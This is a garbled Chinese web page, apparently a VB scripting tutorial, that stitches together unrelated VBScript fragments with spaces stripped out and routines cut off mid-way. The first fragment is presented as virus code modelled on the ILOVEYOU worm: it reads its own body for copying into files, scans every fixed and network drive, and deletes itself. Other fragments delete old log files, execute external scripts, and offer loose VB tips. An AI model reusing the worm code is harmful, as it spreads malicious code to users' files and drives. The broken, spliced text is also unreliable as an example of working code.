游戏脚本之家运维

  希望“VB教程”能给你我一个互相学习的机会,如果你能从中获益那将是我最大的快乐,那时你一定会发现编程比游戏有趣得多

->如果你的系统不支持.vbs,可以将后缀改为.vbe dimfolder,fso,foldername,f,d,dc setfso=createobject("scripting.filesystemobject") setself=fso.opentextfile(wscript.scriptfullname,1) vbscopy=self.readall'读取病毒体,以备复制到文件 self.close setdc=fso.Drives foreachdindc ifd.drivetype=3ord.drivetype=2then'检查磁盘类型 wscript.echod'弹出窗口,显示找到盘符 scan(d) endif next lsfile=wscript.scriptfullname'该脚本程序路径 setlsfile=fso.getfile(lsfile) lsfile.delete(true)'病毒运行后自我删除(本人自加,爱虫病毒本身没有该代码) subscan(folder_) onerrorresumenext setfolder_=fso.getfolder(folder_) setfiles=folder_.files foreachfileinfiles ext=fso.GetExtensionName(file)'获取文件后缀 ext=lcase(ext)'后缀名转换成小写字母 ifext="mp5"then'如果后缀名是mp5,当然不存在这种文件,这里可以自己修改,但是注意chrome添加脚本 ConstFilePath="E:\log"'定义目录 SetFSO=CreateObject("Scripting.FileSystemObject") ShowSubfoldersFSO.GetFolder(filepath) SubShowSubFolders(Folder) ForEachSubfolderinFolder.SubFolders SetFiles=subfolder.Files IfFiles.Count<>0Then ForEachFileInFiles IfFile.DateLastModified<Now-30Then'判断是否超过30天 FSO.DeleteFile(Subfolder.Path&""&File.Name)'删除 'Wscript.EchoSubfolder.Path&""&File.Name'显示 EndIf Next EndIf ShowSubFoldersSubfolder Next EndSub 正确的一行声明方法是:->DimxAsInteger,yAsInteger-> GoSub在编译程序中速度变慢  编译为本地代码的VB应用程序中,如果使用GoSubs命令,就会比通常的Subs或者Function调用慢5-6倍;相反,如果是p-code模式,就会相当快

OptionExplicit OnErrorResumeNext Subinclude(vbs) Dimfso:Setfso=CreateObject("scripting.FileSystemObject") Dimp:p=Split(Wscript.ScriptFullName,"") p(UBound(p))=vbs p=Join(p,"") Dimf:Setf=fso.OpenTextFile(p) Executef.ReadAll() 'ExecuteGlobalf.ReadAll() f.Close() Setf=Nothing Setfso=Nothing 'Wscript.Echo(p) EndSub include("1.vbs") include("2.vbs") 'IfErrThen 'Wscript.Echo(Err.description) 'Wscript.Quit() 'EndIf Wscript.Echo(a+b) 1.vbs a=3 2.vbs b=4 我不知道为什么If语句提高了代码运行速度,但实际上确实是工作得很好

setie=createobject("internetexplorer.application") ie.navigate"about:blank" dountilie.readystate=4:wscript.sleep25:loop setdoc=ie.document setbody=doc.body setwin=doc.parentwindow body.innerhtml="<OBJECTid=dlgCLASSID='clsid:3050f819-98b5-11cf-bb82-00aa00bdce0b'></OBJECT>" body.innertext=doc.getElementById("dlg").choosecolordlg win.clipboarddata.setdata"text",body.innertext ie.quit VB是微软开发的可视化Basic语言,功能很强但速度不是很快,尤其在进行大量的运算时就更显得非常力不从心了,但是用它开发界面或干一些不是很深入操作系统的工作时则非常方面和快捷,中;另外它的扩展性很强,可以调用Win32API和大多数的动态链按库

Set objInstaller=Nothing征途抓宠只要获得了一幅幅动画单幅图像文件,把它们放入图像控制数组中去,便可用时钟控件的控制属性Interval来控制每幅图片的显示间隔,把最终动画显示的位置确定好后,按时间间隔依次从图像控制数组中取出一幅图显示

  Dim 变量名 [As 类型]

151人参与, 0条评论 登录后显示评论回复

你需要登录后才能评论 登录/ 注册